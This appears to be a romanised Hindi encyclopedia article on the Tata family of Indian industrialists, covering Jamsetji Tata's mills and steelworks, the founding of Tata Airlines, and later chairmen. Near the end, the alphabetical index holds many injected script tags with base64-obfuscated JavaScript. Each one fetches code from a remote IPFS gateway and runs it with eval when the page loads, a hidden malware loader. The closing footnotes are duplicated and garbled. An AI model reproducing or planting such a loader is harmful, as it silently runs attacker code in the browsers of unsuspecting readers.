टाटा परिवार

[[chitr:Jamsetji Tata.jpg|thumb|200px|jamashed ji tata]] tata parivar bharatiy udyogapatiyoan aur lok hitaishiyoan ka parivar hai, jisane loha aur ispat ke karakhanoan, sooti kap doan ki miloan aur panabijali sanyatroan ki sthanapana ki, jo bharat ke audyogik vikas mean mahattvapoorn sabit hue.

udyog-aishvary ki nianv

'tata parivar' moolat: poorv b dauda riyasat^[1] ka parasi purohit parivar hai. is parivar ke udyog-aishvary ki nianv jamashedaji nausheravanaji tata (1839-1904 ee.) ne rakhi thi. banbee (vartaman muanbee) mean 'elfiansatan k aaulej' mean shiksha prapt karane ke bad 1858 ee. mean vah apane pita ki niryat vyapar kanpani mean shamil hue aur japan, chin, yoorop v amerika mean isaki shakhaoan ki sthapana mean madad ki. 1872 mean unhoanne vastr nirman par dhyan keandrit kiya aur 1877 mean nagapur tatha bad mean banbee aur kurla mean miloan ki sthapana ki. unake udyam karyakushalata, shramik sanrakshan nitiyoan aur utkrisht ksheni ke reshoan ke upayog ke lie vikhyat the. unhoanne bharat mean kachche resham ke utpadan ki bhi shuruat ki aur banbee kshetr ke panabijali sanyantroan ki bhi yojana banaee, jo unaki mrityu ke bad 'tata pavar kanpani' bani.^[2]

karakhanoan ka gathan

tata ne 1901 mean bharat mean pahale b de paimane ke lohe ke karakhanoan ka gathan shuroo kiya aur 1907 mean inhean 'tata ayaran aiand stil kanpani' ke roop mean sangathit kiya gaya. unake putroan, sar dorabaji jamashedaji tata (1859-1932) aur sar ratanaji tata (1871-1932) ke nirdeshan mean 'tata iandiyan stil kanpani' bharat mean ispat banane vali niji svamitv ki sabase b di kanpani tatha aise kanpani samooh ka keandr ban gee, jo n sirf kap da, ispat aur bijali utpadan karati thi, balki rasayan, krishi sanyantr, trak, rel ke ianjan aur simeant ka bhi nirman karati thi. is parivar ki audyogik ikaiyaan jharakhand^[3] ke nagar jamashedapur mean keandrit haian. [[chitr:J.R.D-Tata.jpg|thumb|180px|je. ar. di. tata]] varsh 1898 mean tata ne bangalor mean ek shodh sansthan ke lie bhoomi dan ki, jise bad mean 'iandiyan ianstityoot aauf saians' ke roop mean unake betoan dvara sthapit kiya gaya. tata parivar bharat mean takaniki shiksha aur vaijnanik anusandhan ke lie dhan upalabdh karane vala shayad mahattvapoorn niji srot ban gaya.

tata eyaralaians ki sthapana

1932 mean dorabaji ki mrityu ke bad sansthapak ke bhatijoan mean se ek sar nauroji sakalatavala tata k aaurporet samooh ke adhyaksh bane. 1938 mean unaki mrityu ke bad jahaangir ratanaji dadabhaee tata (1904-1993), jinake pita ar. di. tata sansthapak ke chachere bhaee aur hissedar the, adhyaksh bane. je. ar. di. tata ne 'tata eyaralaians' (1932) ki sthapana ki, jisaka 1953 mean aantarrashtriyakaran ho gaya aur isaka vibhajan karake bharat ki pramukh ghareloo tatha aantarrashtriy havaee seva, 'iandiyan eyaralaans k aaurporeshan' aur 'eyar iandiya' ka svaroop diya gaya. je. ar. di. tata ko 1992 mean desh ka sarvochch nagarik samman 'bharat ratn' pradan kiya gaya.^[2]

1950 ke dashak ke uttarardh mean tata kanpani samooh bharatiy udyogoan mean akele sabase b de samooh par niyantran rakhata tha, jisamean saz-saman, ianjiniyariang, oorja, rasayan, upabhokta vastu, sanchar aur soochana pranali sevaoan samet sat vyaparik kshetroan ki lagabhag 80 kanpaniyaan shamil thian. je. ar. di. tata ke bhatije ratan naval tata 1962 mean tata udyog samooh mean shamil hue. 1991 mean unhoanne je. ar. di. tata ke uttaradhikari ke roop mean tata samooh ki mukhy kanpani 'tata sans limited' ka adhyaksh pad sanbhala. bharatiy udyogoan ke vikas mean unaki bhagidari ke lie ratan tata ko bharat sarakar ne varsh 2000 mean 'padm bhooshan' se sammanit kiya tha.

REDIRECTsaancha:inhean bhi dekhean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ab gujarat mean
↑ ^2.0 ^2.1 bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 294 |
↑ bhootapoorv bihar

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ujarat mean

[aa-2] 2.0 ^2.1 bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 294 |

[3] tapoorv bihar

[1]

[2]

[3]